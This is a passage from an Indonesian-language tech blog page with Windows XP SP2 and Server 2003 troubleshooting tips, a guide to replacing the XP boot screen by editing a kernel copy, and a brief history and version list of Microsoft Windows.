Download 'Paket Update 3' dari www.nero.com/nero6/eng/nero-up.php dan instalasikan. Sebagai alternatif, Anda juga dapat meng-upgrade Nero ke versi 7 yang berisi tool 'InCD' versi 5. Tentu saja, untuk layanan upgrade ini ditarik biaya. Microsoft sendiri belum menyingkirkan kesalahan yang terdapat dalam cache-management SP2, karena hanya berefek pada program non-Microsoft seperti Nero.
4. Popup-Blocker memblokir update
Sulit dipercaya, tetapi memang terjadi. Popup-blocker yang terinstalasi dalam SP2 tidak hanya melindungi komputer Anda dari perusahaan marketing yang jahat, tetapi juga dari Windows-Update. Bug ini muncul dengan laporan kesalahan 'HTTP-Bug 500 - Internal Server Bug, 0x8dd0010'. Ia muncul begitu Anda mengklik sebuah hyperlink di website Windows-Update. 
Untuk menyingkirkan bug tersebut, jalankan Internet Explorer dan pilih 'Tools | Internet Options | Privacy | Popup-Blocker Settings'. Ketikkan URL 'http://v5.windowsupdate.microsoft.com' ke dalam kolom teks, lalu klik 'Add'. Tutup jendela setting.
5. TV-playback bergoyang
Akibat bug lainnya dalam SP2 untuk Windows XP, gambar bergoyang dan terjadi frame-drop pada playback acara TV melalui filter Direct-Show. Kesalahan ini tidak hanya terjadi pada playback Livestream, tetapi juga file video yang sudah tersimpan di hard disk. Solusinya ditawarkan oleh patch dari Microsoft. 
Masukkan kode berikut ke dalam kolom Search di website Microsoft. (kb896626)
Sebelum dapat men-download patch tersebut, Microsoft akan memeriksa apakah Anda memiliki versi Windows yang sah atau tidak. Jika tidak ada masalah, Anda dapat menginstalasinya dan menonton tanpa gangguan lagi.
6. Windows hang saat shutdown
Saat shutdown, SP2 untuk Windows XP memeriksa apakah semua Windows-update penting telah terinstalasi atau belum. Bila di sini terjadi kesalahan, akan timbul masalah shutdown dan muncul bluescreen dengan laporan 'STOP: 0x80248011'. Bila demikian, Anda harus memperbarui database yang berisi semua info relevan mengenai update yang telah terinstalasi.
Untuk mengatasi masalah di atas, klik 'Start | Run' dan ketikkan kode berikut. (services•msc)
Dalam jendela 'Services', klik kanan 'Automatic Updates' dan pilih 'Stop'. Sekarang, jalankan Windows Explorer dan masuk ke folder Windows. Ubah nama folder 'SoftwareDistribution' menjadi 'SoftwareDistribution.alt'. Setelah itu, jalankan kembali layanan 'Auto-Update'. Ia akan membuat sebuah folder baru bernama 'SoftwareDistribution'. Folder lama yang telah Anda ubah namanya boleh dihapus.
7. Proteksi copy menyebabkan crash
Bila Anda mendapat tampilan bluescreen dengan laporan kesalahan 'STOP: 0x0000009F Driver_Power_State_Failure', Anda adalah korban sebuah proteksi copy yang salah program. 'InterLok' dari perusahaan Pace yang antara lain ditemukan dalam produk Adobe, Pinnacle, Steinberg, dan Electronic Arts menggunakan interrupt (IRQ) yang sama dengan floppy-drive dan menimbulkan konflik resource.
Masuk ke website www.paceap.com dan pilih entri 'Windows drivers' dalam daftar 'Download drivers'. Download file 'tpkd.zip' dan ekstrak arsip ZIP ini. Klik ganda file Setup.exe untuk menginstalasi driver. Bila masalah masih muncul, melalui 'Start | All Programs | Accessories | System Tools | System Informations', periksa apakah interrupt untuk floppy kembali digunakan atau tidak.
Pilih 'Hardware Resources | IRQs'. 'IRQ6' hanya boleh berisi entri 'Standard Floppy-Drive Controller'. Bila ini tidak membantu, terpaksa Anda tidak menggunakan software dengan proteksi copy ini.
8. WINDOWS SERVER 2003
»Profile Tidak Dikosongkan
Sebuah bug yang buruk akan terlihat ketika Windows Server 2003 di-shutdown. Windows tidak mengosongkan semua registered-user-profiles atau tidak menggabungkannya dengan benar. Dengan demikian, proses logout akan berlangsung sangat lama karena layanan Windows menanti logout user-profile yang benar. Untuk mengetahui apakah Anda terkena bug ini atau tidak, klik 'Start | Run' dan ketikkan kode berikut. (eventvwr.msc) 
Bila dalam kolom Event di bawah Application Anda temukan error-code 1500, 1517, atau 1524 serta keterangan sumber 'Userenv', lakukan langkah-langkah berikut.
Download 'User Profile Hive Cleanup Service' yang tersedia di website Microsoft. Ia terinstalasi sebagai layanan baru Windows dan akan membebaskan cabang registry (hive) dari pengguna yang tidak login. Hasilnya, profile akan dikosongkan lebih cepat dan shutdown juga akan berlangsung lebih cepat.
9. Tidak ada lingkungan jaringan
Folder penting seperti 'My Documents' atau 'My Computer' paling cepat diakses melalui menu Start. Sayangnya programmer Windows melupakan 'My Network Places' yang juga penting. Melalui sebuah registry-hack Anda dapat membuka tampilan folder ini. 
Tips dan Trik Mengganti Layar Pembuka Windows XP
Layar pembuka Windows XP tidak mudah diganti karena terintegrasi dalam inti sistem operasi. Namun, dengan bantuan resource editor Anda dapat mengubah komponen inti secara individual dan mengganti layar pembuka.
Perhatian! Manipulasi pada inti sistem operasi dapat berakibat serius pada Windows. Backup semua data penting sebelum menjalankan tips ini.
Download tool Resource Hacker yang tersedia gratis di www.users.on.net/johnson dan install ke PC Anda. Jalankan Windows Explorer dan cari file 'ntoskrnl.exe' dalam folder 'Windows\ system32'. Buat salinan file dan beri nama 'nt_baru.exe'.
Sekarang Anda membutuhkan layar pembuka baru dalam format Bitmap 16 warna dengan ukuran 640 x 480. Jika diperlukan, modifikasi gambar dengan program pengolah gambar seperti Paint Shop Pro. Jika program pengolah gambar Anda menyediakan pilihan untuk menyimpan gambar bersama palet Windows, lakukan. Jika palet Windows ini tidak ikut disimpan, biasanya akan terjadi penyimpangan warna gambar.
Jalankan Resource Hacker dan buka file 'nt_baru.exe' melalui menu 'File | Open'. Pilih 'Action | Replace Bitmap' dan masukkan layar pembuka baru melalui tombol 'Open file with new bitmap'. Jangan lupa, pilih dulu bitmap yang akan diganti dalam Resource hacker. Klik 'Replace' dan simpan file. Tutup Resource Hacker.
Agar Windows XP dijalankan dengan layar yang baru dan jika perlu Anda dapat kembali ke Windows XP yang lama, manipulasi file start Windows. Klik kanan 'My Computer' dan buka 'Properties'. Dalam tab 'Advanced' klik 'Settings' di bawah 'Startup & Recovery'. Klik tombol 'Edit' untuk membuka file 'boot.ini', pilih baris start untuk Windows XP dan salin ke clipboard dengan menekan CTRL+C (di bawah teks [operating systems]). Paste perintah tadi di bawahnya. Tambahkan parameter berikut pada salinan baris perintah tersebut.
/Kernel=nt_baru.exe
Simpan file dan tutup Notepad. Selanjutnya restart Windows dan pilih entri start baru dalam menu boot. Kali ini layar pembuka baru yang akan ditampilkan. Jika Anda hanya ingin mengoperasikan satu partisi Windows, buka sekali lagi file 'boot.ini' seperti di atas. Hapus entri start yang lama. Untuk selanjutnya, versi Windows Anda yang secara otomatis akan dijalankan, tidak perlu dipilih manual dalam menu boot.
CHIP juga telah menemukan sebuah program bernama Boot Editor untuk memudahkan Anda dalam membuat logo startup. Anda dapat mendownloadnya di alamat http://www.belchfire.net/ ~userxp/indexbe.htm. Jika Anda berniat menggunakannya, CHIP menyarankan untuk membaca file Readme dengan seksama, karena penggunaannya cukup membingungkan jika belum terbiasa.
ref:http://www.chip.co.id
Sejarah Microsoft Windows
Microsoft Windows atau lebih dikenal dengan sebutan Windows adalah keluarga sistem operasi komputer pribadi yang dikembangkan oleh Microsoft yang menggunakan antarmuka dengan pengguna berbasis grafik (graphical user interface).
Sistem operasi Windows telah berevolusi dari MS-DOS, sebuah sistem operasi yang berbasis modus teks dan command-line. Windows versi pertama, Windows Graphic Environment 1.0 pertama kali diperkenalkan pada 10 November 1983, tetapi baru keluar pasar pada bulan November tahun 1985 yang dibuat untuk memenuhi kebutuhan komputer dengan tampilan bergambar. Windows 1.0 merupakan perangkat lunak 16-bit tambahan (bukan merupakan sistem operasi) yang berjalan di atas MS-DOS (dan beberapa varian dari MS-DOS), sehingga ia tidak akan dapat berjalan tanpa adanya sistem operasi DOS. Versi 2.x, versi 3.x juga sama. Beberapa versi terakhir dari Windows (dimulai dari versi 4.0 dan Windows NT 3.1) merupakan sistem operasi mandiri yang tidak lagi bergantung kepada sistem operasi MS-DOS. Microsoft Windows kemudian bisa berkembang dan dapat menguasai penggunaan sistem operasi hingga mencapai 90%.
Dimulai dari DosShell for DOS 6 buatan Microsoft dan inginnya Microsoft bersaing terhadap larisnya penjualan Apple Macintosh yang menggunakan GUI, Microsoft menciptakan Windows 1.0. Nama ini berasal dari kelatahan karyawan Microsoft yang menyebut nama aplikasi tersebut sebagai Program Windows (Jendela Program). Windows versi 2 adalah versi Windows pertama yang bisa diinstal program. Satu-satunya program yang bisa ditambahkan adalah Microsoft Word versi 1. Windows versi 3 menjanjikan aplikasi tambahan yang lebih banyak, kelengkapan penggunaan, kecantikan user interface atau antarmuka dan mudahnya konfigurasi. Windows versi 3.1 adalah versi Windows yang bisa mengoptimalisasi penggunaannya pada prosesor 32-bit Intel 80386 ke atas. Windows versi 3.11 adalah versi Windows terakhir sebelum era Start Menu. Windows 3.11 pun adalah versi Windows pertama yang mendukung networking/jaringan. Versi Hibrida dapat dijalankan tanpa MS-DOS. Versi Hibrida tersebut menginstalasi dirinya sendiri dengan DOS 7. Tidak seperti Windows versi 16-bit yang merupakan shell yang harus diinstalasi melalui DOS terlebih dahulu. Aplikasinya pun berbeda. Meskipun Windows 9X dapat menjalankan aplikasi Windows 16-bit, namun Windows 9X memiliki grade aplikasi sendiri - X86-32, Windows 9X sangat terkenal dengan BSOD (Blue Screen of Death).
Versi-versi Windows
Sudah dirilis
* 16-bit, berjalan di atas MS-DOS
o 1985 November - Windows 1.0
o 1987 9 Desember - Windows 2.0
o 1990 22 Mei - Windows 3.0
o 1992 Agustus - Windows 3.1
o 1992 Oktober - Windows for Workgroups 3.1
o 1993 November - Windows for Workgroups 3.11
* Hibrida (16-bit/32-bit), berjalan tanpa MS-DOS (meski tidak sepenuhnya)
o 1995 24 Agustus - Windows 95 (Versi: 4.00.950)
o 1998 25 Juni - Windows 98 (Versi: 4.1.1998)
o 1999 5 Mei - Windows 98 Second Edition (Versi: 4.1.2222)
o 2000 19 Juni - Windows Millennium Edition (Me) (Versi: 4.9.3000)
* Berbasis kernel Windows NT
o 1993 Agustus - Windows NT 3.1
o 1994 September - Windows NT 3.5
o 1995 Juni - Windows NT 3.51
o 1996 29 Juli - Windows NT 4.0
o 2000 17 Februari - Windows 2000 (Versi: NT 5.0.2195)
o 2002 - Windows XP (Versi: NT 5.1.2600)
o 2003 - Windows Server 2003 (Versi: NT 5.2.3790)
o 2007 - Windows Vista (Versi 6.0 Build 6000)
o 2008 - Windows Server 2008 (Versi 6.1)
